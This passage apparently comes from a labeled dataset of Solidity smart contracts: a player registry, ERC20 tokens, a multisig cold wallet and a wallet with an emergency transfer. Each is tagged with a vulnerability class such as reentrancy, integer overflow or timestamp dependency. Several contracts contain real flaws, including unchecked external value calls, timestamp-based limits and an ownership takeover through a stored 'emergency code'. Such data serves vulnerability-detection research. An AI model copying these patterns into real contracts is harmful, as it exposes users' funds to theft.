(pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; // set the new player bool to true return (true); } else { return (false); } } //============================================================================== // _ _|_ _ _ _ _ | _ _ || _ . // (/_>< | (/_| | |(_|| (_(_|||_\ . //============================================================================== function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { // update last affiliate plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != """" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } //============================================================================== // _ _ _|_ _ . // _\(/_ | |_||_) . //=============|================================================================ function addGame(address _gameAddress, string _gameNameStr) public { require(msg.sender == admin, ""only admin can call""); require(gameIDs_[_gameAddress] == 0, ""derp, that games already been registered""); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); } function setRegistrationFee(uint256 _fee) public { require(msg.sender == admin, ""only admin can call""); registrationFee_ = _fee; } } library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/ether strict equality (SE),3,3 804.sol,"pragma solidity ^0.4.8; library BobbySafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BobbyERC20Base { address public ceoAddress; address public cfoAddress; bool public paused = false; constructor(address cfoAddr) public { ceoAddress = msg.sender; cfoAddress = cfoAddr; } modifier onlyCEO() { require(msg.sender == ceoAddress); _; } function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } modifier onlyCFO() { require(msg.sender == cfoAddress); _; } modifier allButCFO() { require(msg.sender != cfoAddress); _; } function setCFO(address _newCFO) public onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() external onlyCEO whenNotPaused { paused = true; } function unpause() public onlyCEO whenPaused { paused = false; } } contract ERC20Interface { event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); event Grant(address indexed src, address indexed dst, uint wad); event Unlock(address indexed user, uint wad); function name() public view returns (string n); function symbol() public view returns (string s); function decimals() public view returns (uint8 d); function totalSupply() public view returns (uint256 t); function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); } contract ERC20 is ERC20Interface, BobbyERC20Base { using BobbySafeMath for uint256; uint private _Thousand = 1000; uint private _Billion = _Thousand * _Thousand * _Thousand; string private _name = ""BOBBYTest""; string private _symbol = ""BOBBYTest""; uint8 private _decimals = 9; uint256 private _totalSupply = 10 * _Billion * (10 ** uint256(_decimals)); struct UserToken { uint index; address addr; uint256 tokens; uint256 unlockUnit; uint256 unlockPeriod; uint256 unlockLeft; uint256 unlockLastTime; } mapping(address=>UserToken) private _balancesMap; address[] private _balancesArray; uint32 private actionTransfer = 0; uint32 private actionGrant = 1; uint32 private actionUnlock = 2; struct LogEntry { uint256 time; uint32 action; address from; address to; uint256 v1; uint256 v2; uint256 v3; } LogEntry[] private _logs; constructor(address cfoAddr) BobbyERC20Base(cfoAddr) public { _balancesArray.push(address(0)); UserToken memory userCFO; userCFO.index = _balancesArray.length; userCFO.addr = cfoAddr; userCFO.tokens = _totalSupply; userCFO.unlockUnit = 0; userCFO.unlockPeriod = 0; userCFO.unlockLeft = 0; userCFO.unlockLastTime = 0; _balancesArray.push(cfoAddr); _balancesMap[cfoAddr] = userCFO; } function name() public view returns (string n){ n = _name; } function symbol() public view returns (string s){ s = _symbol; } function decimals() public view returns (uint8 d){ d = _decimals; } function totalSupply() public view returns (uint256 t){ t = _totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance){ UserToken storage user = _balancesMap[_owner]; balance = user.tokens.add(user.unlockLeft); } function transfer(address _to, uint256 _value) public returns (bool success){ require(!paused); require(msg.sender != cfoAddress); require(msg.sender != _to); if(_balancesMap[msg.sender].unlockLeft > 0){ UserToken storage sender = _balancesMap[msg.sender]; uint256 diff = now.sub(sender.unlockLastTime); uint256 round = diff.div(sender.unlockPeriod); if(round > 0) { uint256 unlocked = sender.unlockUnit.mul(round); if (unlocked > sender.unlockLeft) { unlocked = sender.unlockLeft; } sender.unlockLeft = sender.unlockLeft.sub(unlocked); sender.tokens = sender.tokens.add(unlocked); sender.unlockLastTime = sender.unlockLastTime.add(sender.unlockPeriod.mul(round)); emit Unlock(msg.sender, unlocked); log(actionUnlock, msg.sender, 0, unlocked, 0, 0); } } require(_balancesMap[msg.sender].tokens >= _value); _balancesMap[msg.sender].tokens = _balancesMap[msg.sender].tokens.sub(_value); uint index = _balancesMap[_to].index; if(index == 0){ UserToken memory user; user.index = _balancesArray.length; user.addr = _to; user.tokens = _value; user.unlockUnit = 0; user.unlockPeriod = 0; user.unlockLeft = 0; user.unlockLastTime = 0; _balancesMap[_to] = user; _balancesArray.push(_to); } else{ _balancesMap[_to].tokens = _balancesMap[_to].tokens.add(_value); } emit Transfer(msg.sender, _to, _value); log(actionTransfer, msg.sender, _to, _value, 0, 0); success = true; } function transferFrom(address, address, uint256) public returns (bool success){ require(!paused); success = true; } function approve(address, uint256) public returns (bool success){ require(!paused); success = true; } function allowance(address, address) public view returns (uint256 remaining){ require(!paused); remaining = 0; } function grant(address _to, uint256 _value, uint256 _duration, uint256 _periods) public returns (bool success){ require(msg.sender != _to); require(_balancesMap[msg.sender].tokens >= _value); require(_balancesMap[_to].unlockLastTime == 0); _balancesMap[msg.sender].tokens = _balancesMap[msg.sender].tokens.sub(_value); if(_balancesMap[_to].index == 0){ UserToken memory user; user.index = _balancesArray.length; user.addr = _to; user.tokens = 0; user.unlockUnit = _value.div(_periods); user.unlockPeriod = _duration.mul(1 days).div(_periods); user.unlockLeft = _value; user.unlockLastTime = now; _balancesMap[_to] = user; _balancesArray.push(_to); } else{ _balancesMap[_to].unlockUnit = _value.div(_periods); _balancesMap[_to].unlockPeriod = _duration.mul(1 days).div(_periods); _balancesMap[_to].unlockLeft = _value; _balancesMap[_to].unlockLastTime = now; } emit Grant(msg.sender, _to, _value); log(actionGrant, msg.sender, _to, _value, _duration, _periods); success = true; } function getBalanceAddr(uint256 _index) public view returns(address addr){ require(_index < _balancesArray.length); require(_index >= 0); addr = _balancesArray[_index]; } function getBalanceSize() public view returns(uint256 size){ size = _balancesArray.length; } function getLockInfo(address addr) public view returns (uint256 unlocked, uint256 unit, uint256 period, uint256 last) { UserToken storage user = _balancesMap[addr]; unlocked = user.unlockLeft; unit = user.unlockUnit; period = user.unlockPeriod; last = user.unlockLastTime; } function log(uint32 action, address from, address to, uint256 _v1, uint256 _v2, uint256 _v3) private { LogEntry memory entry; entry.action = action; entry.time = now; entry.from = from; entry.to = to; entry.v1 = _v1; entry.v2 = _v2; entry.v3 = _v3; _logs.push(entry); } function getLogSize() public view returns(uint256 size){ size = _logs.length; } function getLog(uint256 _index) public view returns(uint time, uint32 action, address from, address to, uint256 _v1, uint256 _v2, uint256 _v3){ require(_index < _logs.length); require(_index >= 0); LogEntry storage entry = _logs[_index]; action = entry.action; time = entry.time; from = entry.from; to = entry.to; _v1 = entry.v1; _v2 = entry.v2; _v3 = entry.v3; } }",./Dataset/integer overflow (OF)/,4,4 1604.sol,"pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract ENDRoot is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function ENDRoot() public { symbol = ""ENDR""; name = ""ENDRoot""; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0xbE8BE6FB679f19762C8a4a0c7DBbD8C5aEe524C9] = _totalSupply; Transfer(address(0), 0xbE8BE6FB679f19762C8a4a0c7DBbD8C5aEe524C9, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 10297.sol,"pragma solidity ^0.4.24; pragma experimental ""v0.5.0""; pragma experimental ABIEncoderV2; library Math { struct Fraction { uint256 numerator; uint256 denominator; } function isPositive(Fraction memory fraction) internal pure returns (bool) { return fraction.numerator > 0 && fraction.denominator > 0; } function mul(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a * b; require((a == 0) || (r / a == b)); } function div(uint256 a, uint256 b) internal pure returns (uint256 r) { r = a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a - b) <= a); } function add(uint256 a, uint256 b) internal pure returns (uint256 r) { require((r = a + b) >= a); } function min(uint256 x, uint256 y) internal pure returns (uint256 r) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 r) { return x >= y ? x : y; } function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { r = value * m; if (r / value == m) { r /= d; } else { r = mul(value / d, m); } } function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { r = value * m; if (r / value == m) { if (r % d == 0) { r /= d; } else { r = (r / d) + 1; } } else { r = mul(value / d, m); if (value % d != 0) { r += 1; } } } function mul(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.numerator, f.denominator); } function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.numerator, f.denominator); } function div(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDiv(x, f.denominator, f.numerator); } function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { return mulDivCeil(x, f.denominator, f.numerator); } function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) { return Math.Fraction({ numerator: mul(x.numerator, y.numerator), denominator: mul(x.denominator, y.denominator) }); } } contract FsTKColdWallet { using Math for uint256; event ConfirmationNeeded(address indexed initiator, bytes32 indexed operation, address indexed to, uint256 value, bytes data); event Confirmation(address indexed authority, bytes32 indexed operation); event Revoke(address indexed authority, bytes32 indexed operation); event AuthorityChanged(address indexed oldAuthority, address indexed newAuthority); event AuthorityAdded(address authority); event AuthorityRemoved(address authority); event RequirementChanged(uint256 required); event DayLimitChanged(uint256 dayLimit); event SpentTodayReset(uint256 spentToday); event Deposit(address indexed from, uint256 value); event SingleTransaction(address indexed authority, address indexed to, uint256 value, bytes data, address created); event MultiTransaction(address indexed authority, bytes32 indexed operation, address indexed to, uint256 value, bytes data, address created); struct TransactionInfo { address to; uint256 value; bytes data; } struct PendingTransactionState { TransactionInfo info; uint256 confirmNeeded; uint256 confirmBitmap; uint256 index; } modifier onlyAuthority { require(isAuthority(msg.sender)); _; } modifier confirmAndRun(bytes32 operation) { if (confirmAndCheck(operation)) { _; } } uint256 constant MAX_AUTHORITIES = 250; uint256 public requiredAuthorities; uint256 public numAuthorities; uint256 public dailyLimit; uint256 public spentToday; uint256 public lastDay; address[256] public authorities; mapping(address => uint256) public authorityIndex; mapping(bytes32 => PendingTransactionState) public pendingTransaction; bytes32[] public pendingOperation; constructor(address[] _authorities, uint256 required, uint256 _daylimit) public { require( required > 0 && authorities.length >= required ); numAuthorities = _authorities.length; for (uint256 i = 0; i < _authorities.length; i += 1) { authorities[1 + i] = _authorities[i]; authorityIndex[_authorities[i]] = 1 + i; } requiredAuthorities = required; dailyLimit = _daylimit; lastDay = today(); } function() external payable { if (msg.value > 0) { emit Deposit(msg.sender, msg.value); } } function getAuthority(uint256 index) public view returns (address) { return authorities[index + 1]; } function getAuthorityIndex(address authority) public view returns (uint256 index) { index = authorityIndex[authority]; require(index > 0); } function isAuthority(address authority) public view returns (bool) { return authorityIndex[authority] > 0; } function hasConfirmed(bytes32 operation, address _address) public view returns (bool) { return (pendingTransaction[operation].confirmBitmap & (1 << getAuthorityIndex(_address))) != 0; } function changeAuthority(address from, address to) public confirmAndRun(keccak256(msg.data)) { require(!isAuthority(to)); uint256 index = getAuthorityIndex(from); authorities[index] = to; authorityIndex[to] = index; delete authorityIndex[from]; clearPending(); emit AuthorityChanged(from, to); } function addAuthority(address authority) public confirmAndRun(keccak256(msg.data)) { require(!isAuthority(authority)); if (numAuthorities >= MAX_AUTHORITIES) { reOrganizeAuthorities(); } require(numAuthorities < MAX_AUTHORITIES); numAuthorities += 1; authorities[numAuthorities] = authority; authorityIndex[authority] = numAuthorities; clearPending(); emit AuthorityAdded(authority); } function removeAuthority(address authority) public confirmAndRun(keccak256(msg.data)) { require(numAuthorities > requiredAuthorities); uint256 index = getAuthorityIndex(authority); delete authorities[index]; delete authorityIndex[authority]; clearPending(); reOrganizeAuthorities(); emit AuthorityRemoved(authority); } function setRequirement(uint256 required) public confirmAndRun(keccak256(msg.data)) { require(numAuthorities >= requiredAuthorities); clearPending(); emit RequirementChanged(requiredAuthorities = required); } function setDailyLimit(uint256 _dailyLimit) public confirmAndRun(keccak256(msg.data)) { clearPending(); emit DayLimitChanged(dailyLimit = _dailyLimit); } function resetSpentToday() public confirmAndRun(keccak256(msg.data)) { clearPending(); emit SpentTodayReset(spentToday); delete spentToday; } function propose( address to, uint256 value, bytes data ) public onlyAuthority returns (bytes32 operation) { if ((data.length == 0 && checkAndUpdateLimit(value)) || requiredAuthorities == 1) { emit SingleTransaction(msg.sender, to, value, data, execute0(to, value, data)); } else { operation = keccak256(abi.encodePacked(msg.data, pendingOperation.length)); PendingTransactionState storage status = pendingTransaction[operation]; if (status.info.to == 0 && status.info.value == 0 && status.info.data.length == 0) { status.info = TransactionInfo({ to: to, value: value, data: data }); } if (!confirm(operation)) { emit ConfirmationNeeded(msg.sender, operation, to, value, data); } } } function revoke(bytes32 operation) public { uint256 confirmFlag = 1 << getAuthorityIndex(msg.sender); PendingTransactionState storage state = pendingTransaction[operation]; if (state.confirmBitmap & confirmFlag > 0) { state.confirmNeeded += 1; state.confirmBitmap &= ~confirmFlag; emit Revoke(msg.sender, operation); } } function confirm(bytes32 operation) public confirmAndRun(operation) returns (bool) { PendingTransactionState storage status = pendingTransaction[operation]; if (status.info.to != 0 || status.info.value != 0 || status.info.data.length != 0) { emit MultiTransaction( msg.sender, operation, status.info.to, status.info.value, status.info.data, execute0(status.info.to, status.info.value, status.info.data) ); delete pendingTransaction[operation].info; return true; } } function execute0( address to, uint256 value, bytes data ) private returns (address created) { if (to == 0) { created = create0(value, data); } else { require(to.call.value(value)(data)); } } function create0(uint256 value, bytes code) internal returns (address _address) { assembly { _address := create(value, add(code, 0x20), mload(code)) if iszero(extcodesize(_address)) { revert(0, 0) } } } function confirmAndCheck(bytes32 operation) private returns (bool) { PendingTransactionState storage pending = pendingTransaction[operation]; if (pending.confirmNeeded == 0) { pending.confirmNeeded = requiredAuthorities; delete pending.confirmBitmap; pending.index = pendingOperation.length; pendingOperation.push(operation); } uint256 confirmFlag = 1 << getAuthorityIndex(msg.sender); if (pending.confirmBitmap & confirmFlag == 0) { emit Confirmation(msg.sender, operation); if (pending.confirmNeeded <= 1) { delete pendingOperation[pending.index]; delete pending.confirmNeeded; delete pending.confirmBitmap; delete pending.index; return true; } else { pending.confirmNeeded -= 1; pending.confirmBitmap |= confirmFlag; } } } function checkAndUpdateLimit(uint256 value) private returns (bool) { if (today() > lastDay) { spentToday = 0; lastDay = today(); } uint256 _spentToday = spentToday.add(value); if (_spentToday <= dailyLimit) { spentToday = _spentToday; return true; } return false; } function today() private view returns (uint256) { return block.timestamp / 1 days; } function reOrganizeAuthorities() private { uint256 free = 1; while (free < numAuthorities) { while (free < numAuthorities && authorities[free] != 0) { free += 1; } while (numAuthorities > 1 && authorities[numAuthorities] == 0) { numAuthorities -= 1; } if (free < numAuthorities && authorities[numAuthorities] != 0 && authorities[free] == 0) { authorities[free] = authorities[numAuthorities]; authorityIndex[authorities[free]] = free; delete authorities[numAuthorities]; } } } function clearPending() private { for (uint256 i = 0; i < pendingOperation.length; i += 1) { delete pendingTransaction[pendingOperation[i]]; } delete pendingOperation; } }",./Dataset/timestamp dependency (TP)/,6,6 21999.sol,"pragma solidity ^0.4.18; contract Owned { address owner; function Owned() public { owner = msg.sender; } modifier onlyOwner { if (msg.sender != owner) revert(); _; } } contract WalletWithEmergencyTransfer is Owned { event Deposit(address from, uint amount); event Withdrawal(address from, uint amount); event Call(address from, address to, uint amount); address public owner = msg.sender; uint256 private emergencyCode; uint256 private emergencyAmount; function WalletWithEmergencyTransfer() public { } function() public payable { deposit(); } function deposit() public payable { require(msg.value > 0); Deposit(msg.sender, msg.value); } function withdraw(uint amount) public onlyOwner { require(amount <= this.balance); msg.sender.transfer(amount); Withdrawal(msg.sender, amount); } function call(address addr, bytes data, uint256 amount) public payable onlyOwner { if (msg.value > 0) deposit(); require(addr.call.value(amount)(data)); Call(msg.sender, addr, amount); } function setEmergencySecrets(uint256 code, uint256 amount) public onlyOwner { emergencyCode = code; emergencyAmount = amount; } function emergencyTransfer(uint256 code, address newOwner) public payable { if ((code == emergencyCode) && (msg.value == emergencyAmount) && (newOwner != address(0))) { owner = msg.sender; } } }",./Dataset/reentrancy (RE)/,5,5 38689.sol,"pragma solidity ^0.4.11; /* Ethart Registrar Contract: Ethart ARCHITECTURE ------------------- _________________________________________ V V Controller --> Registrar <--> Factory Contract1 --> Artwork Contract1 Factory Contract2 Artwork Contract2 ... ... Factory ContractN Artwork ContractN Controller: The controler contract is the owner of the Registrar contract and can - Set a new owner - Controll the assets of the Registrar (withdraw ETH, transfer, sell, burn pieces owned by the Registrar) - The plan is to replace the controller contract with a DAO in preperation for a possible ICO Registrar: - The Registrar contract atcs as the central registry for all sha256 hashes in the Ethart factory contract network. - Approved Factory Contracts can register sha256 hashes using the Registrar interface. - 2.5% of the art produced and 2.5% of turnover of the contract network will be transfered to the Registrar. Factory Contracts: - Factory Contracts can spawn Artwork Contracts in line with artists specifications - Factory Contracts will only spawn Artwork Contracts who's sha256 hashes are unique per the Registrar's sha256 registry - Factory Contracts will register every new Artwork Contract with it's details with the Registrar contract Artwork Contracts: - Artwork Contracts act as minimalist decentralized exchanges for their pieces in line with specified conditions - Artwork Contracts will interact with the Registrar to issue buyers of pieces a predetermined amount of Patron tokens based on the transaction value - Artwork Contracts can be interacted with by the Controller via the Registrar using their interfaces to transfer, sell, burn etc pieces (c) Stefan Pernar 2017 - all rights reserved (c) ERC20 functions BokkyPooBah 2017. The MIT Licence. */ contract Interface { // Ethart network interface function registerArtwork (address _contract, bytes32 _SHA256Hash, uint256 _editionSize, string _title, string _fileLink, uint256 _ownerCommission, address _artist, bool _indexed, bool _ouroboros); function isSHA256HashRegistered (bytes32 _SHA256Hash) returns (bool _registered); // Check if a sha256 hash is registared function isFactoryApproved (address _factory) returns (bool _approved); // Check if an address is a registred factory contract function issuePatrons (address _to, uint256 _amount); // Issues Patron tokens according to conditions specified in factory contracts function approveFactoryContract (address _factoryContractAddress, bool _approved); // Approves/disapproves factory contracts. function changeOwner (address newOwner); // Change the registrar's owner. function offerPieceForSaleByAddress (address _contract, uint256 _price); // Sell a piece owned by the registrar. function offerPieceForSale (uint256 _price); function fillBidByAddress (address _contract); // Fill a bid with an unindexed piece owned by the registrar function fillBid(); function cancelSaleByAddress (address _contract); // Cancel the sale of an unindexed piece owned by the registrar function cancelSale(); function offerIndexedPieceForSaleByAddress (address _contract, uint256 _index, uint256 _price); // Sell an indexed piece owned by the registrar. function offerIndexedPieceForSale(uint256 _index, uint256 _price); function fillIndexedBidByAddress (address _contract, uint256 _index); // Fill a bid with an indexed piece owned by the registrar function fillIndexedBid (uint256 _index); function cancelIndexedSaleByAddress (address _contract); // Cancel the sale of an unindexed piece owned by the registrar function cancelIndexedSale(); function transferByAddress (address _contract, uint256 _amount, address _to); // Transfers unindexed pieces owned by the registrar contract function transferIndexedByAddress (address _contract, uint256 _index, address _to); // Transfers indexed pieces owned by the registrar contract function approveByAddress (address _contract, address _spender, uint256 _amount); // Sets an allowance for unindexed pieces owned by the registrar contract function approveIndexedByAddress (address _contract, address _spender, uint256 _index); // Sets an allowance for indexed pieces owned by the registrar contract function burnByAddress (address _contract, uint256 _amount); // Burn an unindexed piece owned by the registrar contract function burnFromByAddress (address _contract, uint256 _amount, address _from); // Burn an unindexed piece owned by annother address function burnIndexedByAddress (address _contract, uint256 _index); // Burn an indexed piece owned by the registrar contract function burnIndexedFromByAddress (address _contract, address _from, uint256 _index); // Burn an indexed piece owned by another address // ERC20 interface function totalSupply() constant returns (uint256 totalSupply); // Returns the total supply of an artwork or token function balanceOf(address _owner) constant returns (uint256 balance); // Returns an address' balance of an artwork or token function transfer(address _to, uint256 _value) returns (bool success); // Transfers pieces of art or tokens to an address function transferFrom(address _from, address _to, uint256 _value) returns (bool success); // Transfers pieces of art of tokens owned by another address to an address function approve(address _spender, uint256 _value) returns (bool success); // Sets an allowance for an address function allowance(address _owner, address _spender) constant returns (uint256 remaining); // Returns the allowance of an address for another address // Additional token functions function burn(uint256 _amount) returns (bool success); // Burns (removes from circulation) unindexed pieces of art or tokens. // In the case of 'ouroboros' pieces this function also returns the piece's // components to the message sender function burnFrom(address _from, uint256 _amount) returns (bool success); // Burns (removes from circulation) unindexed pieces of art or tokens // owned by another address. In the case of 'ouroboros' pieces this // function also returns the piece's components to the message sender // Extended ERC20 interface for indexed pieces function transferIndexed (address _to, uint256 __index) returns (bool success); // Transfers an indexed piece of art function transferFromIndexed (address _from, address _to, uint256 _index) returns (bool success); // Transfers an indexed piece of art from another address function approveIndexed (address _spender, uint256 _index) returns (bool success); // Sets an allowance for an indexed piece of art for another address function burnIndexed (uint256 _index); // Burns (removes from circulation) indexed pieces of art or tokens. // In the case of 'ouroboros' pieces this function also returns the // piece's components to the message sender function burnIndexedFrom (address _owner, uint256 _index); // Burns (removes from circulation) indexed pieces of art or tokens // owned by another address. In the case of 'ouroboros' pieces this // function also returns 